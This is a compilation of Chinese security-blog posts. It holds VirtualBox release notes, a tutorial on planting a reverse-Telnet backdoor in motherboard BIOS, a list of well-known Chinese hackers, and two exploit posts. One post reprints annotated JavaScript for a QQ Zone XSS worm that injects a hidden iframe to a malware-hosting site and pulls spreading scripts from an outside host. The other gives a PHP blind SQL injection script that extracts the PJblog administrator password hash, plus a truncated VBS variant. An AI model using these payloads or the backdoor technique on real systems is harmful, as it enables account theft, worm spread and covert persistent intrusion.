Virtualbox2.2.0正式版发布&附下载地址

      VirtualBox最早是德国一家软件公司InnoTek所开发的虚拟系统软件,后来被Sun收购,改名为Sun VirtualBox,性能有很大的提高.因为他是开源的,不同于VM,而且功能强大,可以在 Linux/Mac 和 Windows 主机中运行,并 支持在其中安装 Windows (NT 4.0、2000、XP、Server 2003、Vista)、DOS/Windows 3.x、Linux (2.4 和 2.6)、OpenBSD 等系列的客户操作系统.假如你曾经有用过虚拟机软件的经历的话,相信使用 VirtualBox 不在话下。即便你是一个新手,也没有关系。VirtualBox 提供了详细的文档,可以助你在短期内入门。
      个人对它的总结是容易上手、设置简单、跨平台,这几个特性足以让我抛弃臃肿而复杂的VMWare。
      Virtualbox2.2.0官方下载地址
      Virtualbox2.2.0国内下载地址

      主要更新内容
      VirtualBox 2.2.0 (released 2009-08-04)

      This version is a major update(此版本有重大更新). The following major new features were added:
      OVF (Open Virtualization Format) appliance import and export (see chapter 3.8, Importing and exporting virtual machines, User Manual page 55)
      Host-only networking mode (see chapter 6.7, Host-only networking, User Manual page 88)
      Hypervisor optimizations with significant performance gains for high context switching rates
      Raised the memory limit for VMs on 64-bit hosts to 16GB
      VT-x/AMD-V are enabled by default for newly created virtual machines
      USB (OHCI & EHCI) is enabled by default for newly created virtual machines (Qt GUI only)
      Experimental USB support for OpenSolaris hosts
      Shared folders for Solaris and OpenSolaris guests
      OpenGL 3D acceleration for Linux and Solaris guests (see chapter 4.8, Hardware 3D acceleration (OpenGL), User Manual page 70)
      Added C API in addition to C++, Java, Python and Web Services
      In addition, the following items were fixed and/or added:
      VMM: FreeBSD guest related fix for V86 flags (bug #2342)
      VMM: fixed guru meditation when booting an AsteriskNow Linux VM (bug #2342)
      VMM: fixed PGMPOOLKIND_FREE guru meditation (bugs #3356, #3431)
      VMM: fixed Windows XP boot hang (guest PAE + nested paging only)
      VMM: allow mixing of VT-x/AMD-V and software virtualization
      VMM: fixed extremely slow safe mode booting in e.g. Windows 2008 (VT-x/AMD-V only)
      VMM: significant speedup of certain GRUB boot loaders (e.g. Solaris) (VT-x/AMD-V only)
      VMM: real-mode IOPL fix for DOS guests (VT-x only)
      VMM: fixed VT-x detection with certain BIOSes that enable VT-x, but don’t set the lock bit in MSR_IA32_FEATURE_CONTROL
      VMM: fixed hibernation issues on Windows XP hosts (VT-x only; bug #1794)
      VMM: properly emulate RDMSR from the TSC MSR, should fix some NetBSD guests
      VMM: emulate RDPMC; fixes Windows guests crashes when using the Kaspersky virus scanner (bug #1778)
      NAT: fixed truncated downloads (FTP) (bug #3257)
      NAT: blocked UDP packets caused a crash (bug #3426)
      NAT: allow to configure the next server and the boot file via VBoxManage (bug #2759)
      IDE: fixed hard disk upgrade from XML-1.2 settings (bug #1518)
      Hard disk: support more VMDK file variants (including fixed-size ESX server images)
      Hard disks: refuse to start the VM if a disk image is not writable
      USB: further reduced host CPU utilization for OHCI and EHCI; the “VBoxInternal/Devices/usb-ohci/0/Config/FrameRate” CFG key is no longer necessary and no longer supported
      USB: fixed BSOD on the host with certain USB devices (Windows hosts only; bug #1654)
      E1000: properly handle cable disconnects (bug #3421)
      VRDP: fixed hangs when VRDP server is enabled or disabled in runtime
      Shared folders: respect umask settings on Linux, OSX and Solaris hosts when creating files
      X11 guests: prevented setting the locale in vboxmouse, as this caused problems with Turkish locales (bug #3563)
      X11 guests: show the guest mouse pointer at the right position if the virtual desktop is larger than the guest resolution (bug #2306)
      Linux additions: fixed typo when detecting Xorg 1.6 (bug #3555)
      Solaris guests: added xpg4/xcu4 dependency to the guest additions installer (bug #3524)
      Windows guests: bind the VBoxMouse.sys filter driver to the correct guest pointing device (bug #1324)
      Windows hosts: fixed BSOD when starting a VM with enabled host interface (bug #3414)
      Linux hosts: do proper reference counting to prevent unloading the vboxnetflt module as long as this code is in use (bug #3104)
      Linux hosts: do not leave zombies of VBoxSysInfo.sh (bug #3586)
      Linux installers: fixes for Slackware, Arch Linux and Linux from Scratch systems
      Windows installers: combined installer executable which contains both (32- and 64-bit) architectures.
      VBoxManage: less cryptic command-line error messages
      VBoxManage list vms commands now default to compact format
      VBoxManage controlvm dvdattach did not work if the image was attached before
      VBoxManage: allow creation of all supported disk image variants
      VBoxManage showvminfo: don’t spam the release log if the additions don’t support statistics information (bug #3457)
      VBoxManage: big command line processing cleanup, the legacy single-dash options are deprecated and will be removed in the next major release, so switch to the new options now
      Hard disks: improved immutable disk support to auto-reset diff file at VM startup (related to bug #2772)
      GUI: enable the audio adapter by default for new VMs
      GUI: warn if VT-x/AMD-V is not operational when starting a 64-bit guest
      GUI: deactivate 64-bit guest suppo
rt when the host CPU does not support VT-x/AMD-V
      GUI: removed floppy icon from the status bar
      GUI: show build revision in about dialog
      GUI: fixed sticky status bar text
      GUI: improved error dialogs
      GUI: fail with an appropriate error message when trying to boot a read-only disk image (bug #1745)
      GUI/Mac OS X: fixed disabled close button
      GUI/Windows: re-enabled support for copy and paste (Windows hosts 2.0 regression; bug #2065)
      3D support: added OpenGL select/feedback support (bug #2920)
      3D support: close OpenGL subsystem for terminated guest applications (bug #3243)
      3D support: fixed VM hangs when starting guests with 3D acceleration enabled (bug #3437)
      PXE: fixed boot hangs when hardware virtualization is used (bug #2536)
      LsiLogic: fixed problems with Solaris guests

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/pc-tech/236

BIOS下实现的Telnet后门

       又是一篇猛文。
      【51CTO.com 独家特稿】该项目仅为实验性项目,主要目的是想隐藏一个Telnet后门在主板的BIOS内,并让其随着计算机系统及操作系统成功的运行起来。运行后能反向Telnet连接到指定的计算机接受控制。
      项目涉及的相关知识及技术目录
      1、 实验环境,使用bochs调试工具。
      2、 刷新BIOS技术问题。
      3、 代码植入BIOS问题。
      4、 源代码相关技术问题:
      A、如何编写BIOS模块(如:PCI、 ISA)。
      B、实模式关于HOOK磁盘中断的问题。
      C、磁盘中断中选择再次HOOK的问题。
      D、NT保护模式下设置物理地址映射。
      E、NT保护模式下线性地址寻址问题。

      BIOS模块调试实验环境采用Bochs
      Bochs虚拟机可以调试BIOS及操作系统,Bochs使用主要是配置它的配置文件,我们以实例配置文件简单讲解,Bochs实验调试等网上有很多相关文章,这里简单讲解。
我的配置实例:文件名xp.bxrc,修改后的及需要设置的内容如下:

复制内容到剪贴板程序代码程序代码
######使用的系统BIOS模块######
romimage: file=$BXSHARE/BIOS-bochs-latest
######使用的CPU 相关参数######
cpu: count=1, ips=10000000, reset_on_triple_fault=1
######设置内存大小       ######
megs: 128
######添加我们的BIOS模块######
optromimage1: file=test.bin, address=0xd0000
######使用的VGAROM模块######
vgaromimage: file=$BXSHARE/VGABIOS-lgpl-latest
######设置虚拟机硬盘与光盘######
ata0-master: type=disk, path="c.img", mode=flat, cylinders=4161, heads=16, spt=63
#ata0-slave: type=cdrom, path="xp.iso", status=inserted
######设置引导设备        ######
boot: c
#boot: cdrom, disk

      Bochs调试加载配置文件方法:可以设置一个bat文件,如下内容:

复制内容到剪贴板程序代码程序代码
set BXSHARE=d:\bochs
%BXSHARE%\bochsdbg.exe -q -f xp.bxrc

      如何刷新各种BIOS问题
      各种BIOS刷新相关工具早已在网上流传,工具的使用这里不作介绍,IcLord的作者已经给出很多编程方法实现。这里简单说下。
      UniFlash开源项目我也详细分析过,如果有必要我会给出UniFlash源代码的详解,该项目指出可以刷写所有BIOS芯片,但是该项目刷新BIOS存在很多问题,绝大多数情况是无法刷新的我实验过很多次,也尝试修改他的代码过很多次,没找到原因。
      Aword BIOS已经有通用的刷写API调用,不管在NT下还是在实模式下,IcLord也作了讲解。如果有时间我会给出实模式及NT下的刷写源代码及分析。

      代码植入BIOS问题
      关于网上提及的,IcLord讲到的我就不再做重复的分析。这里主要讲下我们的模块可以植入哪些地方以方便隐藏。以前的教程讲过的方法存的问题分析。
      一、 ISA模块形式植入:这种方式只适合于较早的计算机,因为目前的计算机系统BIOS是不会加载ISA模块的。故只能做实验调试用的方法。
      二、 PCI模块形式植入:该方法虽然系统BIOS都要加载PCI ROM,但是系统BIOS只加载实际存在的PCI卡的ROM模块。而且通常BIOS设置中可以关闭相应的ROM启动。
      三、 HOOK BootBlock或者说要启动的模块:该方法当然我认为是最有效的,但是又存在很多技术上的难题。检验和问题,不同BIOS的结构问题,过早的HOOK还存在再次获取CPU运行机会问题等等。
      本人实验过以上提及的所有方法,我认为HOOK PCI、VGA及相关启动模块是比较可寻的办法。为什么?一般这类的ROM模块是必须启动的,而且调试发现一般它的ROM本身代码用不完自身设置的大小,我们可以借助剩余大小隐藏我们的代码。例如:集成显卡会把显卡ROM集成到系统BIOS模块中,我们可以对该模块进行HOOK,修改ROM头部的跳转指令,跳到我们的代码开始处执行,我们的代码执行完后跳转到它的代码开始处执行。

      如何编写BIOS模块
      BIOS是分模块组合在一起的。这里对PCI及ISA模块作下简单分析,VGA模块跟PCI模块几乎一样。模块主要是头部有个规范,该规范适合所有BIOS系统。具体可以参看《PCI系统结构》及其他书籍。
      源代码实例可以参看国外ROMOS开源项目,该开源项目的思想很值得学习。该项目讲解了如何在BIOS中嵌入一个小型DOS,如:FreeDos。采用了把整个DOS系统盘镜像植入BIOS中,跟早期的PXE引导DOS机制类似,然后HOOK磁盘中断,模拟DOS系统盘镜像出一个盘,源代码编译后只有900多字节。这种思想在早期还是很值得学习的。

      实模式关于HOOK磁盘中断问题
      很早前就有业界内人士发贴问,为什么在我的ROM模块中HOOK磁盘中断会失败呢?关于这个问题现在目前网上已经有人作出过回答,国外的开源项目在2003年我都看到过。
      由于我们的ROM模块过早的运行,可能运行在磁盘服务前面了,这时如果HOOK Int 13h会因为BIOS加载磁盘服务时重写Int 13h IVT值,故我们设法HOOK其他服务,这个服务要求较早被BIOS安装且不会再次修改且加载操作系统前调用,最佳的这个服务选择就是int 18h、int19h服务。可以参看BIOS源代码,也可以参看PXE SDK说明文档略有讲过。
      我们的磁盘服务代码建议放在实模式高端内存,通过BIOS数据区域可修改,内存40:13,即物理地址413h处的值。降低常规内存值,高端的内存就留给我们用。我们的保护模式下运行的代码建议也放在这段内存,且要求放在以页基址开始的内存中,以便后面代码的页映射我们的保护模式代码物理页。页基址:内存物理页地地址开始的低12位为零,参看《80386保护模式教程》。
      若我们的代
码直接在内存的ROM映射区内,可能导致在NT下访问不到我们的代码,因为NT内核加载程序ntldr可能不会映射该段内存,甚至可能BIOS在使用后都会关闭ROM区域这段内存,而且ROM区域这段内存在初始化后被系统BIOS设置成只读不能写。当然我们可以采取用int 15h服务对ROM区域这段内存映射。
当然也可以在NT启动过程中,在我们的磁盘服务中对想映射的内存都映射。由于代码大小的限制,故有些没必要的代码。尽量不使用了。

      磁盘中断服务中再次HOOK问题
      为了使我们的程序再次获得CPU运行机会,我们不得不得再次设法。调试发现NTLDR进入保护模式后在加载NT内核文件时,会切换CPU到实模式调用Int 13H服务进行磁盘读。
      我们挂接磁盘服务就是为了截取NTLDR的读操作,这里我们可以HOOK 或者修改NTLDR另一部分OsLoader的代码,跳转到我们的代码执行。当然也可以直接HOOK ntosknrl导出的服务,参看我在2008.4.1发布的“程序从DOS/BIOS驻留内存到WINNT下监视内存数据”。
      注意,HOOK OsLoader的代码时选择HOOK指令问题,由于NTLDR切换到实模式读取数据,读完后会在保护模式下搬移数据到规划位置,进行内核的安装。故HOOK时选择HOOK指令就选择FFh/15h:使用CALL NEAR [OFS32]指令进行,该指令寻址采用绝对地址,类似指令也可以。
      当然我们的代码再次运行就会运行在OsLoader代码被我们HOOK处,调用我我们的代码执行,这时我们的代码运行环境:DS = ES = 10h保护模式段,内存模式: FLAT。在这里我们可以通过扫描_BlLoaderData数据结构,获取NTOSKRNL镜像基址。
      可以通过PE搜索NTOSKRNL导出的API,可以参看网上相关教程。现在再次HOOK NTOSKRNL导出函数KeAddSystemServiceTable,HOOK该函数
      可以截获win32k.sys添加它自己的服务,以便我们再再次HOOk win32.sys导出函数NtUserRegisterClassExWOW。HOOK该函数可以截取所有应用层程序注册窗口类,以便我们再再再次HOOK窗口类过程。这时我们的代码就运行在NT的应用层模式下。

      NT保护模式下设置物理地址映射
      先看一个WinDbg实例关于在我们的磁盘服务中获取CR3值修改页映射的分析,以前我的分析内容:

引用内容 引用内容
NT内核被加载高端的2GB内存(80000000h~0ffffffffh)。参看NT内存安排..
a、win2k adv ser:   WINDBG 看到 NT Kernel base = 0x80400000 也就是NTOSKRNL.exe加载位置
         kd> r @cr3      ;断点位置在NTOSKRNL.exe里现在还没有应用程序故低端内存还未使用
              cr3=00030000 ;->页目录表所在物理页(物理地址30000h)
          kd> d 80030000 80030800  ;看页目录发现现在低端2GB(0~80000000h)还未分配
              80030000  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  …………….
              80030010  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  …………….
              80030020  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  …………….
                  
          kd> d 80030800           ;看高端开始分配情况页表(80000000h开始的分配情况)
              80030800  63 21 03 00 63 41 03 00-63 51 03 00 63 31 03 00  c!..cA..cQ..c1..
              80030810  63 11 7c 00 63 21 7c 00-63 31 7c 00 63 41 7c 00  c.|.c!|.c1|.cA|.
              80030820  63 51 7c 00 63 61 7c 00-63 71 7c 00 63 81 7c 00  cQ|.ca|.cq|.c.|.
          ;实例1:看80400000h(NT Kernel base),这个线性地址到物理地址映射情况.
              ;线性地址最高10位页目录项(每项占4Byte):80400000h最高10位=201h.
              ;在页目表位置:201h*4=804h 在内存地址=[cr3]+804h..具体看保护模式教程
              kd> d 80030000+804 ;看在页目录表位置的值
                80030804  63 41 03 00 63 51 03 00-63 31 03 00 63 11 7c 00  cA..cQ..c1..c.|.

              ;二级页表所在物理页地址:63 41 03 00转换下34163h,物理页地址:34000h,163h是页属性.
              kd> d 80034000     ;看在页表的值
                80034000  63 01 40 00 63 11 40 00-63 21 40 00 63 31 40 00  c.@.c.@.c!@.c1@.

              ;物理地址基址:63 01 40 00转换下400163h,#物理地址基址#:400000h,163h是页属性
              ;最后发现物理地址基址(页地址)在400000h..观察物理地址400000h是NTOSKRNL.exe映像.

              kd> d 80400000 ;观察物理地址400000h
                80400000  4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00  MZ…………..
                80400010  b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00  ……..@…….

         ;实例2:看我们代码映射情况我们代码在物理地址:9e000h从线性地址8009e000h分析映射情况
              ;8009e000h在页目录位置最高10位=200h*4,在内存地址=[CR3]+200h*4…
              kd> d 80030000+200*4
                80030800  63 21 03 00 63 41 03 00-63 51 03 00 63 31 03 00  c!..cA..cQ..c1..

               ;二级页表对应物理地址:63 21 03 00转换下物理页基

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/237

QQ空间XSS-worm漏洞

      QQ空间XSS-worm漏洞
      发现一篇比较猛的文章,特意贴上来。
      Source:http://luanx.blogbus.com/logs/38529803.html (乱雪的博客),做部分修改。

      XSS代码来源:http://forum.eviloctal.com/viewthread.php?tid=35024

      XSS攻击已经很主流了,它的危害可不是仅仅弹出个alert来吓唬象我这样善良的人了,可以引用一个外部的JS文件,并且控制JS文件的内容,实现XSS蠕虫。最刺激的也就是利用Ajax来写XSS蠕虫了,也是web2.0主流攻击手段了吧。如今网上社区形式的博客空间很多,只要出现XSS并且能够写出XSS蠕虫,基本上可以消灭很多用户,一访问中招的空间,那么你的空间也就被感染,它不像个人电脑一样打补丁来避免自己博客被XSS攻击,本身网站程序问题就直接影响到所有博客用户,也就是一个地方出漏洞,所有博客用户都会可能被攻击。XSS蠕虫继承传统蠕虫病毒的特点,通过互访形式传播感染。

      至于危害,比如轻一点就弹个alert吓唬吓唬你,或者利用浏览器漏洞挂马等等。

      XSS蠕虫的核心思路:

      1.发现跨站漏洞并且能够写利用XSS蠕虫。

      2.利用一个博客空间进行跨站(传播源头)。

      3.当其他用户来访问这个被感染的空间时,XSS蠕虫做以下事情:

      (1).判断用户是否登录,如果登录了就继续从第二步做起走;没登录做其他的事情,自由发挥,比如弹个alert或者其他。

      (2).继续判断该用户是否被感染,如果没有感染就将它感染;如果感染了就算了。

      大概过程如上。

      QQ空间XSS代码及注释:

复制内容到剪贴板程序代码程序代码
function killErrors() {return true;}
window.onerror=killErrors;

var shendu;shendu=4;
//—————global—v——————————————
//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
var myblogurl=new Array();var myblogid=new Array();
        var gurl=document.location.href;
        var gurle=gurl.indexOf("com/");
        gurl=gurl.substring(0,gurle+3);        
        var visitorID=top.document.documentElement.outerHTML;
           var cookieS=visitorID.indexOf("g_iLoginUin = ");
        visitorID=visitorID.substring(cookieS+14);
        cookieS=visitorID.indexOf(",");
        visitorID=visitorID.substring(0,cookieS);
        get_my_blog(visitorID);
        DOshuamy();

//挂马
function DOshuamy(){
var ssr=document.getElementById("veryTitle");
ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.tkbbs.com/1.html'></iframe>");
}

//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
function get_my_blog(visitorID){
   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
   if(xhr){    //成功就执行下面的
     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
     xhr.send();guest=xhr.responseText;
     get_my_blogurl(guest);    //执行这个函数
    }
}

//这里似乎是判断没有登录的
function get_my_blogurl(guest){
  var mybloglist=guest;
  var myurls;var blogids;var blogide;
  for(i=0;i<shendu;i++){
     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中“selectBlog“字符串,干什么的就不知道了
     if(myurls!=-1){    //找到了就执行下面的
         mybloglist=mybloglist.substring(myurls+11);
         myurls=mybloglist.indexOf(')');
         myblogid[i]=mybloglist.substring(0,myurls);
        }else{break;}
}
get_my_testself();    //执行这个函数
}

//这里往哪跳就不知道了
function get_my_testself(){
  for(i=0;i<myblogid.length;i++){    //获得blogid的值
      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid[i]+"&r="+Math.random();
      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
      if(xhr2){        //如果成功
              xhr2.open("GET",url,false);     //打开上面的那个url
              xhr2.send();
              guest2=xhr2.responseText;
              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串,找它做什么?
              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
              if(mycheckmydoit!="-1"){    //返回-
1则代表没找到
                targetblogurlid=myblogid[i];    
                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
                break;
               }
              if(mycheckit=="-1"){
                targetblogurlid=myblogid[i];
                add_js(visitorID,targetblogurlid,gurl);    //执行它
                break;
               }
        }      
}
}

//————————————–  
//根据浏览器创建一个XMLHttpRequest对象
function createXMLHttpRequest(){
    var XMLhttpObject=null;  
    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
    else  
      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
        for(var i=0;i<MSXML.length;i++)  
        {  
            try  
            {  
                XMLhttpObject=new ActiveXObject(MSXML[i]);  
                break;  
            }  
            catch (ex) {  
            }  
         }  
      }
return XMLhttpObject;
}  

//这里就是感染部分了
function add_js(visitorID,targetblogurlid,gurl){
var s2=document.createElement('script');
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
s2.type='text/javascript';
document.getElementsByTagName('head').item(0).appendChild(s2);
}

function add_jsdel(visitorID,targetblogurlid,gurl){
var s2=document.createElement('script');
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
s2.type='text/javascript';
document.getElementsByTagName('head').item(0).appendChild(s2);
}

      目前这个代码是以弹出广告的形式出现的,估计是出于商业利益驱动;如果将代码替换成蠕虫病毒,那么其结果将是“祖国江山一片红”,大片大片的电脑将中招。

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/238

中国黑客排名

      中国黑客排名
      一份流传很久的名单,一份让人可以让人敬佩的名单,不同于现在的80后、90后黑客,他们身上真正具有传统的黑客精神。本人有幸与他们中的两三人有过一点接触,其实他们现在大多选择了把自己洗白–多数在从事安全工作,这才是黑客应该选择最好的一个未来。看到他们的名字,仍然会热血沸腾,仍然会激起我无穷的学习和求知欲。

网名:CoolFire / Fetag
姓名:林正隆
年龄:不详
网站:http://fetag.dhs.org/
简介:Coolfire,一代宗师。把他列到中国黑客的第一名,应该没有什么争议。这是Coolfire写的黑客守则,尽管完全是一个个人的观点,其中有一些可乐的地方,但是许多人还是把它当作现实的人在虚拟世界的一种游戏法则。

网名:袁哥(yuange)
姓名:袁仁广
年龄:29岁
网站:yuange.yeah.net(一个绝对“袁”创,对很多人影响很大的站点)
简介:提起袁哥我想在安全界混的人无人不晓。他在windows系统方面的造诣,在国内应该是绝对一流的。1999年在他的个人站点里面提过的windows的共享漏洞,可是很多人都用过了的吧!知道袁哥的人很多,但是袁哥的经历却是鲜为人知。

网名:SUNX
姓名:孙华
年龄:28
OICQ:239670
网站:http://www.sunx.org
简介:资深网络安全专家,软件设计师、UNIX专家,在黑棵、病毒等技术上均有顶尖水平。在安全技术界有很高的知名度,多次被电视台、电台和报纸等报道,被国内多个安全组织聘请为技术顾问。曾多次协助政府,追查网络犯罪。

网名:Frankie[老毒物、浪子]
姓名:谢朝霞
年龄:28
网站:http://www.cnns.net
简介:中国第1代黑客成员,现在是著名网络安全专家。Frankie的名字因为“深圳晨光”安全网站而出名。从来没有听说过Frankie入侵过什么网站,但是许多黑客都非常佩服他。深圳晨光的浪子,每天花大量时间收集黑客信息,深入剖析Windows NT系统。他在这个领域的研究国内罕有对手。现在深圳的一些报纸把他成为华南网络安全专家。能够登录他网站“极度魔界”的许多人,都是中国顶尖的网络安全高手。一个朋友说:Frankie是最好的网管,只要有他守着,就可以放心了。

网名:小鱼巫师
姓名:曾庆荣
年龄:26岁
网站:http://www.hackervip.com
简介:著名网络安全专家,有着丰富的编程经验。他能够把黑客技术结合到实际编程中,对防火墙编程有着丰富经验,喜欢研究大型程序。曾经参与多个重大网络安全项目开发。有很强的自学能力和组织管理能力,有良好的团队精神和协作精神。

网名:PP
姓名:彭泉
年龄:29
网站:http://www.cnns.net/
简介:湖南黑客技术研究组织发起者,中国第1代黑客成员,顾问级网络安全专家。1999年9月尚在中南工业大学就读的PP在某省公安厅的授权下,对国内一些重要站点做了安全检测工作。

网名:小榕
姓名:不详
年龄:33
网站:http://www.netxeyes.org
简介:勿可否认,小榕是中国黑客/安全界的骄傲。他开发的流光软件是众多小“黑客”必用的软件之一。

网名:glacier
姓名:黄鑫
年龄:不详
网站:*
简介:木马的精神领袖。他应当之无愧地为中国黑客软件的头把交椅。

网名:Wollf
姓名:王娟
年龄:不详
网站:*
简介:王娟写出了wollf木马,奠下了她的“地位”。网络安全圈女性本来就少,像王娟这样知名的更是凤毛麟角。 2000年底,在海南的一个信息安全论坛上,已经是“标准女黑客”的王娟认识了“冰河”黄鑫,两个志同道合的人切磋之后,情投意合,开始并肩闯江湖。

网名:Iceman
姓名:不详
年龄:不详
网站:http://www.nease.net/~iceman(已经不存在)
 冰人彻底地的消失了。曾经轰动一时的人物,居然能够在互联网上消失的无影无踪。我从Yahoo找到Sina,最后查遍Altavista,居然一点痕迹都没有找到。一个人能够完全从网络中消失,的确是一件了不起的事情。新的网虫能够知道冰人是干什么的,已经极少了,即使是在老网虫中,这个名字也是多年没有人提起过。

网名:孤独剑客
姓名:王献冰
年纪:30
网站:http://www.janker.org
简介:黑客界的精神领袖,著名网络安全专家。

网名:eagle,chinaeagle
姓名:万涛
年龄:32
网站:http://www.chinawill.com
简介:中国鹰派创始人,一代黑客领袖。

网名:LION
姓名:林勇
年龄:23
网站:http://www.cnhonker.com
简介:红客联盟创始人,丰富的黑客攻防经验;安全项目工作经验。熟悉使用UNIX SHELL、PERL、PHP、ASP等。现为安氏因特网安全系统[中国]有限公司高级技术专员。

网名:goodwell
姓名:不详
年龄:不详
网站:http://www.vertarmy.org[绿色兵团]
简介:他于1997年在国外网站申请了一个免费并在国内多处做了镜像站点,当初起名为“绿色兵团”绿色兵团可以称之位亚洲最大,也是在中国最早、最有技术实力的黑客站点。

网名:天行
姓名:陈伟山
年龄:25
网站:http://www.tianxing.org
简介:中国第1代黑客,顾问级网络安全专家。软件首席设计师,理论与实践相结合。其代表作“网络刺客”、“网络卫兵”等。

网名:coldface
姓名:周帅
年龄:25
网站:http://www.isforce.org
简介:绿色兵团核心成员,绿色兵团北京站站长。

网名:rootshell
姓名:不详
年龄:不详
网站:http://www.ns-one.com
简介:网络安全专家,毕业于广州中山大学科学计算与计算机应用系,熟悉使用多种UNIX、LINUX和WIN系统。

网名:Eagle
姓名:艾奇伟
年龄:26
网站:http://www.e4gle.org
简介:绿色兵团核心成员,很有互助精神。在补天网络公司呆了一年,担任技术总监。他是国内比较有名的“linuxhacker”,对LINUX有很深入的研究,发现多个安全漏洞。

网名:DigitalBrain
姓名:朱建国
年龄:25
网站:http://www.ishacker.com
简介:著名网络安全专家,熟悉汇编、C/C++、PASCAL,精通内核级编程。
网名:liwrml
姓名:李麒
年龄:26
网站:http://www.safeunion.net
简介:绿色兵团早期成员,绿色兵团的铁杆支持者,网络安全工程师。对安全产品有深入研究。

网名:clygs
姓名:不详
年龄:不详
网站:http://www.chkh.com
简介:黑客英雄网核心成员,擅长入侵和反入侵。对各种系统内核、漏洞有深入研究。

网名:.abu
姓名:不详
年龄:26
网站:http://www.patching.net
简介:中华补天网网站站长。擅长防火墙编程,有丰富的入侵经验。

网名:陈三公子
姓名:陈三堰
年龄:不详
网站:http://www.juntuan.net
简介:第八军团网站站长,精通Unix系统编程、网络数据库开发和网络设计施工等。

网名:flyingfox
姓名:张兴虎
年龄:不详
网站:http://www.54hack.org
简介:中国青年黑客联盟网站站长,网络安全专家。现为公安局技术顾问。

网名:freeshell
姓名:吴建
年龄:25
网站:http://www.chinahacker.net
简介:中国龙派网站站长,有丰富的入侵和反入侵经验。
网名:xiaolu
姓名:不详
年龄:不详
网站:http://www.666w.com
简介:黑客新一代,对脚本和入侵有深入研究。
网名:angliu
姓名:不详
年龄:25
网站:http://www.chkh.com
简介:黑客英雄网核心成员,对LINUX有深入研究。擅长软件开发,对木马编写有深入研究。

网名:Stormwind
姓名:不详
年龄:26
网站:http://www.hackerchina.net
http://www.asiahacker.com
简介:亚洲黑客联盟网站发起人之一,擅长系统攻击和编程.

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/239

pjblog170xss漏洞利用工具

      昨天将自己的博客打上了这个漏洞的补丁,后来身边的朋友们也打上了,现在就把这个XSS漏洞文件和利用代码贴出来,此漏洞可以爆出管理员sha1密码,能不能跑出来就看各位的造化了。
      存在漏洞文件:action.asp
      第14行:

复制内容到剪贴板程序代码程序代码
strcname=request("cname")
set checkcdb=conn.execute("select * from blog_Content where log_cname="""&strcname&"""")

      PHP利用代码:

复制内容到剪贴板程序代码程序代码
<?php
/*
PJblog V3.0 0day exp
code by 小蟑螂&bink
www.0kee.com    www.t00ls.net
09.04.22
*/

$url="http://www.pjhome.net";    //注入地址
$var_name="puterjam";    //管理员
$var_key="check_right";

if ($_SESSION["LenI"]){
$LenI=$_SESSION["LenI"];
}else{
$LenI=1;
}
for($i=$LenI;$i<=40;$i++){
if($_SESSION["LenDo"]){
$StaAsc=$_SESSION["LenDo"];
}else{
$StaAsc=31;
}
echo "Scan password len:".$i." ;asc form ".$StaAsc." to 127";
for($j=$StaAsc;$j<=127;$j++){
$newurl=$url.'/action.asp?action=checkAlias&cname=firebug_plugins_firediff"%20and%20%28select%20top%201%20asc%28mid%28mem_password%2c'.$i.'%2c1%29%29%20From%20blog_member%20where%20mem_name=\''.$var_name.'\'%29%3e'.$j.'%20and%20"1"="1';
$var_pagelen=file_get_contents($newurl);
$var_newpagelen=strpos($var_pagelen,$var_key);
if($var_newpagelen == true){
$_SESSION["tmpPassWord"]=$_SESSION["tmpPassWord"].chr($j);
unset($_SESSION["LenDo"]);
$_SESSION["LenI"]=$i+1;
doReload();
break;
}
if($j == $StaAsc+10){
doReload();
break;
}
}
}
if ($_SESSION["LenI"]==40 && !($_SESSION["LenDo"])){ echo $_SESSION["tmpPassWord"]; }

function doReload(){
?>
<script  language="javascript">
<!–
window.setTimeout('location.reload()',1000);
//–>
</script>
<?php
}
?>

      没有PHP的,还有VBS利用代码:

复制内容到剪贴板程序代码程序代码
If WScript.Arguments.Count <> 2 Then
        WScript.Echo "Usage: Cscript.exe Exp.vbs 要检测的论坛网址 要检测的用户名"
        WScript.Echo "Example: Cscript.exe Exp.vbs http://www.pjhome.net puterjam"
        WScript.Quit
End If

attackUrl = WScript.Arguments(0)
attackUser = WScript.Arguments(1)
attackUrl = Replace(attackUrl,"\","/")
If Right(attackUrl , 1) <> "/" Then
        attackUrl = attackUrl & "/"
End If
SHA1Charset = "0123456789ABCDEFJ"
strHoleUrl = attackUrl & "action.asp?action=checkAlias&cname=0kee"""

